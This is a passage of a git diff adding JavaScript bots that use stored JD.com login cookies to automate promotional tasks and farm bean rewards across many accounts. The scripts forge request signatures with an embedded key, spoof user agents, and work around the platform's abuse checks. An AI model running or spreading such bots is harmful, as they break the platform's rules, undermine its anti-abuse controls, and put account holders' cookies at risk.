return; + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await festival() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + message += `本次运行获得${$.beans}个京豆` + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + const helpRes = await doSupport(code); + await $.wait(1000) + } +} + +async function festival() { + $.times = 0 + $.risk = false + await getIndexInfo() + if ($.risk) return + await getSignInfo() + await getTask(true) + for (let i = 0; i < 4; ++i) + await getTask() + for (let i = 0; i < 2; ++i) + await getExtTask() + await helpFriends() +} + +function getIndexInfo() { + return new Promise(resolve => { + $.get(taskUrl('index/indexInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + $.risk = data.data.risk + if ($.risk) { + message += `风险用户\n` + console.log(`风险用户`) + return + } + $.times = data.data.remainTimes + console.log(`剩余游戏次数:${$.times}`) + } else { + console.log(`签到信息获取失败!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getSignInfo() { + return new Promise(resolve => { + $.get(taskUrl('signin/listSignIn'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + let vo = data.data.signDayList.filter(vo => vo.date === data.data.today)[0] + if (vo.flag === "1") + console.log(`今日已签到`) + else + await signIn() + } else { + console.log(`签到信息获取失败!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function signIn() { + return new Promise(resolve => { + $.get(taskUrl('signin/signInPrize'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`签到成功,获得${data.data.jbean}个京豆`) + $.beans += parseInt(data.data.jbean) + } else { + console.log(`签到失败!`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getTask(share = false) { + return new Promise(resolve => { + $.get(taskUrl('task/queryGeneralTasks'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + const {shareTask, generalTasks} = data.data + if (share) + console.log(`您的好友助力码为:${shareTask.shareId},当前助力进度:${shareTask.needSupportNum - shareTask.remainSupportNum}/${shareTask.needSupportNum}`) + else + for (let vo of generalTasks) { + console.log(`任务${vo.id}完成进度:${vo.finish}/${vo.total}`) + if (vo.finish < vo.total) { + await doTask(vo.type) + await $.wait(10 * 1000) + } + if (vo.status === "3") { + console.log(`任务已完成,去领奖`) + await doReceive(vo.type) + } else if (vo.status === "4") { + console.log(`任务已领奖`) + } + } + } else { + console.log(`任务获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getExtTask() { + return new Promise(resolve => { + $.get(taskUrl('extTask/extTaskInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + let type = ['shop', 'sku', 'venue'] + for (let vo of type) { + for (let item of data.data[`${vo}List`]) { + if (item.status < 2) { + console.log(`去浏览${item.name}`) + await browseTask(item.id, vo) + await $.wait(6 * 1000) + } else if (item.status === 2) { + console.log(`${item.name}浏览完成,去领奖`) + await getPrize(item.id, vo) + } else { + console.log(`${item.name}已浏览过`) + } + } + } + } else { + console.log(`任务获取失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(type) { + return new Promise(resolve => { + $.get(taskUrl('task/doTask', {type: type}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doReceive(type) { + return new Promise(resolve => { + $.get(taskUrl('task/doReceive', {type: type}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务领奖成功,获得${data.data}次游戏机会`) + } else { + console.log(`任务领奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function browseTask(id, type) { + return new Promise(resolve => { + $.get(taskUrl('extTask/browse', {id: id, type: type}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPrize(id, type) { + return new Promise(resolve => { + $.get(taskUrl('extTask/getPrize', {id: id, type: type}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`任务领奖成功,获得${data.data}京豆`) + $.beans += data.data + } else { + console.log(`任务领奖失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getMoney() { + return new Promise(resolve => { + $.get(taskUrl('index/getMoney',), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`游戏开启成功,等待20秒`) + let sum = data.data.moneyList.reduce((a, b) => a + b, 0) + await $.wait(20 * 1000) + await addMoney(sum) + } else { + console.log(`游戏开启失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function addMoney(sum) { + return new Promise(resolve => { + $.post(taskPostUrl('index/addGoldNums', {goldNum: sum}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`游戏完成成功,获得${data.data.goldTotal}体验金`) + } else { + console.log(`游戏完成失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doSupport(shareId) { + return new Promise(resolve => { + $.get(taskUrl('task/doSupport', {shareId: shareId}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`助力好友成功`) + } else { + console.log(`助力好友失败`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} + +function taskPostUrl(function_id, body = {}) { + const t = getTs() + let n = { + ...body + } + let str = '' + for (let key in body) { + if (str !== "") { + str += "&"; + } + str += key + "=" + encodeURIComponent(body[key]); + } + return { + url: `${JD_API_HOST}${function_id}`, + body: str, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "shopping-festival.m.jd.com", + "Referer": "https://shopping-festival.m.jd.com/", + "Cookie": cookie, + 'dnt': '1', + 'pragma': 'no-cache', + 'sign': sign(n, `d55b480bed0545839dbd8b78b6cffdb1${t}`, `/sf/${function_id}`), + 'timestamp': ($.isQuanX()||$.isSurge()) ?t.toString():t, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + ) + } + } +} + +function taskUrl(function_id, body = {}) { + const t = getTs() + let n = { + t: t, + ...body + } + let str = '' + for (let key in body) { + if (str !== "") { + str += "&"; + } + str += key + "=" + encodeURIComponent(body[key]); + } + return { + url: `${JD_API_HOST}${function_id}?t=${t}&${str}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "shopping-festival.m.jd.com", + "Referer": "https://shopping-festival.m.jd.com/", + "Cookie": cookie, + 'dnt': '1', + 'pragma': 'no-cache', + 'sign': sign(n, `d55b480bed0545839dbd8b78b6cffdb1${t}`, `/sf/${function_id}`), + 'timestamp': ($.isQuanX()||$.isSurge()) ?t.toString():t, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.141" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +function sign(t, e, n) { + var a = "" + , i = n.split("?")[1] || ""; + if (t) { + if ("string" == typeof t) + a = t + i; + else if ("object" == typeof (t)) { + var r = []; + for (var s in t) + r.push(s + "=" + t[s]); + a = r.length ? r.join("&") + i : i + } + } else + a = i; + if (a) { + var o = a.split("&").sort().join(""); + return $.md5(o + e) + } + return $.md5(e) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JSMOBILEFESTIVAL_SHARECODES) { + if (process.env.JSMOBILEFESTIVAL_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JSMOBILEFESTIVAL_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JSMOBILEFESTIVAL_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}PK助力码\n`); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null // await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/festival/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个PK助力码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_firecrackers.js b/activity/jd_firecrackers.js new file mode 100644 index 0000000..beb7565 --- /dev/null +++ b/activity/jd_firecrackers.js @@ -0,0 +1,301 @@ +/* +集鞭炮赢京豆 +活动入口:京东APP首页-发现好货-悬浮窗领京豆 +地址:https://linggame.jd.com/babelDiy/Zeus/heA49fhvyw9UakaaS3UUJRL7v3o/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#集鞭炮赢京豆 +10 8,21 * * * jd_firecrackers.js, tag=集鞭炮赢京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "10 8,21 * * *" script-path=jd_firecrackers.js,tag=集鞭炮赢京豆 + +===============Surge================= +集鞭炮赢京豆 = type=cron,cronexp="10 8,21 * * *",wake-system=1,timeout=3600,script-path=jd_firecrackers.js + +============小火箭========= +集鞭炮赢京豆 = type=cron,script-path=jd_firecrackers.js, cronexpr="10 8,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('集鞭炮赢京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +let notifyBean = $.isNode() ? process.env.FIRECRACKERS_NOTITY_BEAN || 0 : 0; // 账号满足兑换多少京豆时提示 默认 0 不提示,格式:120 表示能兑换 120 豆子发出通知; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdFamily() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFamily() { + $.earn = 0 + await getInfo() + await getUserInfo() + await getUserInfo(true) + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + subTitle = `【京东账号${$.index}】${$.nickName}`; + message += `【鞭炮🧨】本次获得 ${$.earn},共计${$.total}\n` + if ($.total && notifyBean) { + for (let item of $.prize) { + if (notifyBean <= item.beansPerNum) { // 符合预定的京豆档位 + if ($.total >= item.prizerank) { // 当前鞭炮满足兑换 + message += `【京豆】请手动兑换 ${item.beansPerNum} 个京豆,需消耗花费🧨 ${item.prizerank}` + $.msg($.name, subTitle, message); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + resolve(); + return; + } + } + } + } + } + $.log(`${$.name}\n\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://linggame.jd.com/babelDiy/Zeus/heA49fhvyw9UakaaS3UUJRL7v3o/index.html', + headers: { + Cookie: cookie + } + }, async (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function getUserInfo(info = false) { + return new Promise(resolve => { + $.get(taskUrl('family_query'), async (err, resp, data) => { + try { + if (err) { + 